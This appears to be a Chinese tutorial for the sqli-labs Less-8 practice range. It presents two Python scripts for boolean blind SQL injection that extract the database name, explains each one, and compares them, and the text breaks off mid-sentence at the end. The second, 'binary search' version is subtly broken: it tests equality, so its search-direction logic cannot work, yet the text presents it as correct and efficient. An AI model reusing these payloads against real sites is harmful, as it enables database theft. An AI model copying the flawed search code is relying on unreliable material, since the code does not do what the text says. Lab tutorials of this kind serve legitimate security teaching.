以sqli靶场Less-8为例

字符型python代码
代码通过构造特定的 SQL 注入 Payload,向目标网站发送 HTTP 请求,根据服务器的响应信息逐步推断出数据库名称。这种方法利用了 SQL 注入漏洞,即通过在输入参数中注入恶意的 SQL 代码,来绕过正常的输入验证,获取数据库中的信息。
# 目标URL
url = "http://sqli/Less-8/index.php"
# 要推断的数据库信息(例如:数据库名)
database_name = ""
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "
# 推断数据库名的长度
def get_database_length():
length = 0
while True:
length += 1
payload = f"1' AND (SELECT length(database()) = {length}) -- "
response = requests.get(url, params={"id": payload})
if "You are in..........." in response.text:
return length
if length > 50: # 防止无限循环
break
return 0
# 推断数据库名
def get_database_name(length):
db_name = ""
for i in range(1, length + 1):
for char in charset:
payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "
response = requests.get(url, params={"id": payload})
if "You are in" in response.text:
db_name += char
break # 找到正确字符后跳出内层循环
return db_name
# 主函数
if __name__ == "__main__":
length = get_database_length()
if length > 0:
print(f"Database length: {length}")
db_name = get_database_name(length)
print(f"Database name: {db_name}")
else:
print("Failed to determine database length.")
代码解析
1. 导入模块
import requests
这行代码导入了requests
库,该库用于发送 HTTP 请求,在本代码中用于与目标网站进行交互。
2. 定义目标 URL 和变量
# 目标URL
url = "http://sqli/Less-8/index.php"
# 要推断的数据库信息(例如:数据库名)
database_name = ""
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "
url
:指定了目标网站的 URL,即要进行 SQL 注入测试的页面。database_name
:用于存储推断出的数据库名,初始为空字符串。charset
:定义了可能出现在数据库名中的字符集,包括大小写字母、数字和一些特殊字符。
3. 推断数据库名的长度
def get_database_length():
length = 0
while True:
length += 1
payload = f"1' AND (SELECT length(database()) = {length}) -- "
response = requests.get(url, params={"id": payload})
if "You are in..........." in response.text:
return length
if length > 50: # 防止无限循环
break
return 0
get_database_length
函数的作用是推断数据库名的长度。- 使用一个无限循环,每次将
length
加 1。 - 构造 SQL 注入 payload,
payload
中的length(database())
用于获取数据库名的长度,通过不断尝试不同的length
值,判断是否与实际长度相等。 - 发送带有
payload
的 GET 请求到目标 URL,将payload
作为id
参数的值。 - 如果响应文本中包含
"You are in..........."
,说明当前length
值就是数据库名的长度,返回该值。 - 为了防止无限循环,当
length
超过 50 时,跳出循环并返回 0。
4. 推断数据库名
def get_database_name(length):
db_name = ""
for i in range(1, length + 1):
for char in charset:
payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "
response = requests.get(url, params={"id": payload})
if "You are in" in response.text:
db_name += char
break # 找到正确字符后跳出内层循环
return db_name
get_database_name
函数根据已知的数据库名长度来推断数据库名。- 使用两层循环,外层循环遍历数据库名的每一个位置(从 1 到
length
),内层循环遍历字符集charset
中的每一个字符。 - 构造 SQL 注入 payload,
substring(database(), {i}, 1)
用于获取数据库名中第i
个位置的字符,通过不断尝试不同的字符,判断是否与实际字符相等。 - 发送带有
payload
的 GET 请求到目标 URL,将payload
作为id
参数的值。 - 如果响应文本中包含
"You are in"
,说明当前字符就是数据库名中第i
个位置的字符,将该字符添加到db_name
中,并跳出内层循环。 - 最后返回推断出的数据库名。
5. 主函数
if __name__ == "__main__":
length = get_database_length()
if length > 0:
print(f"Database length: {length}")
db_name = get_database_name(length)
print(f"Database name: {db_name}")
else:
print("Failed to determine database length.")
- 主函数首先调用
get_database_length
函数获取数据库名的长度。 - 如果长度大于 0,打印数据库名的长度,并调用
get_database_name
函数推断数据库名,然后打印推断出的数据库名。 - 如果长度为 0,说明无法确定数据库名的长度,打印相应的错误信息。
数字型python代码
import requests
# 目标URL
url = "http://sqli/Less-8/index.php"
# 字符集范围,这里假设字符的ASCII码范围
min_ascii = 32 # 空格字符
max_ascii = 126 # 波浪线字符
# 推断数据库名的长度
def get_database_length():
left, right = 1, 100
while left <= right:
mid = (left + right) // 2
payload = f"1' AND (SELECT length(database()) = {mid}) -- "
response = requests.get(url, params={"id": payload})
if "You are in..........." in response.text:
return mid
elif "You are in" not in response.text:
left = mid + 1
else:
right = mid - 1
return 0
# 推断数据库名中的单个字符
def get_char_at_position(position):
left, right = min_ascii, max_ascii
while left <= right:
mid = (left + right) // 2
payload = f"1' AND (SELECT ASCII(SUBSTRING(database(), {position}, 1)) = {mid}) -- "
response = requests.get(url, params={"id": payload})
if "You are in" in response.text:
return chr(mid)
elif "You are in" not in response.text:
left = mid + 1
else:
right = mid - 1
return None
# 推断数据库名
def get_database_name(length):
db_name = ""
for i in range(1, length + 1):
char = get_char_at_position(i)
if char:
db_name += char
return db_name
# 主函数
if __name__ == "__main__":
length = get_database_length()
if length > 0:
print(f"Database length: {length}")
db_name = get_database_name(length)
print(f"Database name: {db_name}")
else:
print("Failed to determine database length.")
-
导入模块和定义常量
import requests
目标URL
url = "http://sqli/Less-8/index.php"
字符集范围,这里假设字符的ASCII码范围
min_ascii = 32 # 空格字符
max_ascii = 126 # 波浪线字符
requests
库用于发送 HTTP 请求。url
是目标网站的 URL,即要进行 SQL 注入测试的页面。min_ascii
和max_ascii
定义了可能出现的字符的 ASCII 码范围,用于后续二分查找。
2. 推断数据库名的长度
def get_database_length():
left, right = 1, 100
while left <= right:
mid = (left + right) // 2
payload = f"1' AND (SELECT length(database()) = {mid}) -- "
response = requests.get(url, params={"id": payload})
if "You are in..........." in response.text:
return mid
elif "You are in" not in response.text:
left = mid + 1
else:
right = mid - 1
return 0
- 使用二分查找来确定数据库名的长度。初始时,
left
为 1,right
为 100。 - 在每次循环中,计算中间值
mid
,并构造 SQL 注入 Payload,通过length(database())
函数获取数据库名的长度,并与mid
进行比较。 - 发送包含 Payload 的 GET 请求到目标 URL。
- 如果响应文本中包含
"You are in..........."
,说明mid
就是数据库名的长度,返回mid
。 - 如果响应文本中不包含
"You are in"
,说明数据库名的长度大于mid
,更新left = mid + 1
。 - 否则,说明数据库名的长度小于
mid
,更新right = mid - 1
。
- 如果响应文本中包含
- 如果最终没有找到合适的长度,返回 0。
3. 推断数据库名中的单个字符
def get_char_at_position(position):
left, right = min_ascii, max_ascii
while left <= right:
mid = (left + right) // 2
payload = f"1' AND (SELECT ASCII(SUBSTRING(database(), {position}, 1)) = {mid}) -- "
response = requests.get(url, params={"id": payload})
if "You are in" in response.text:
return chr(mid)
elif "You are in" not in response.text:
left = mid + 1
else:
right = mid - 1
return None
- 同样使用二分查找来确定数据库名中指定位置的字符。
- 对于每个位置,通过
ASCII(SUBSTRING(database(), {position}, 1))
函数获取该位置字符的 ASCII 码,并与中间值mid
进行比较。 - 发送包含 Payload 的 GET 请求到目标 URL。
- 如果响应文本中包含
"You are in"
,说明mid
就是该位置字符的 ASCII 码,使用chr(mid)
将其转换为字符并返回。 - 如果响应文本中不包含
"You are in"
,说明该位置字符的 ASCII 码大于mid
,更新left = mid + 1
。 - 否则,说明该位置字符的 ASCII 码小于
mid
,更新right = mid - 1
。
- 如果响应文本中包含
- 如果最终没有找到合适的字符,返回
None
。
4. 推断数据库名
def get_database_name(length):
db_name = ""
for i in range(1, length + 1):
char = get_char_at_position(i)
if char:
db_name += char
return db_name
- 遍历数据库名的每个位置,调用
get_char_at_position
函数获取该位置的字符。 - 如果获取到字符,将其添加到
db_name
中。 - 最终返回推断出的数据库名。
5. 主函数
if __name__ == "__main__":
length = get_database_length()
if length > 0:
print(f"Database length: {length}")
db_name = get_database_name(length)
print(f"Database name: {db_name}")
else:
print("Failed to determine database length.")
- 主函数首先调用
get_database_length
函数获取数据库名的长度。 - 如果长度大于 0,打印数据库名的长度,并调用
get_database_name
函数推断数据库名,然后打印推断出的数据库名。 - 如果长度为 0,说明无法确定数据库名的长度,打印相应的错误信息。
优缺点比较
字符型代码(字符型线性查找)
优点
- 逻辑清晰 :代码结构简单,将不同的功能封装成独立的函数,例如
get_database_length
用于获取数据库名称的长度,get_database_name
用于根据长度推断数据库名称,主函数负责调用这些功能函数并输出结果,易于理解和维护。 - 易于扩展 :字符集
charset
可以根据需要进行扩展,方便处理包含更多字符的数据库名称。
缺点
- 效率较低:在推断数据库名称的每个字符时,使用了线性查找,即遍历整个字符集,对于较长的字符集或数据库名称,需要发送大量的 HTTP 请求,时间复杂度较高。
- 缺乏错误处理 :代码没有对
requests.get
请求可能出现的异常进行处理,例如网络连接错误、请求超时等,当出现这些异常时,程序可能会崩溃。
改进建议
-
添加异常处理 :在
requests.get
调用处添加异常处理,确保程序在遇到网络问题时能够正常处理,避免崩溃。try:
response = requests.get(url, params={"id": payload})
except requests.RequestException as e:
print(f"Request error: {e}")
return None -
使用更高效的查找算法:如之前修改为二分查找的版本,能显著减少 HTTP 请求的次数,提高效率。
二分查找版本代码
优点
- 效率提升:使用二分查找来推断数据库名称的长度和每个字符,将查找的时间复杂度从线性降低到对数级别,减少了 HTTP 请求的次数,提高了程序的执行效率。
- 通用性:通过使用 ASCII 码范围来进行查找,避免了手动定义字符集的局限性,能够处理更广泛的字符。
缺点
- 假设范围固定:代码假设数据库名称中的字符 ASCII 码范围在 32 到 126 之间,如果实际数据库名称包含超出这个范围的字符,可能无法正确推断。
- 缺乏详细的错误反馈 :对于二分查找过程中可能出现的异常情况,如没有找到合适的长度或字符,只是简单返回 0 或
None
,没有提供详细的错误信息,不利于调试。
改进建议
-
扩大字符范围:可以根据实际情况扩大 ASCII 码范围,或者动态调整范围,以处理更多类型的字符。
-
添加详细的错误反馈 :在返回 0 或
None
时,输出更详细的错误信息,帮助调试。if length == 0:
print("Failed to determine database length. The database length might be greater t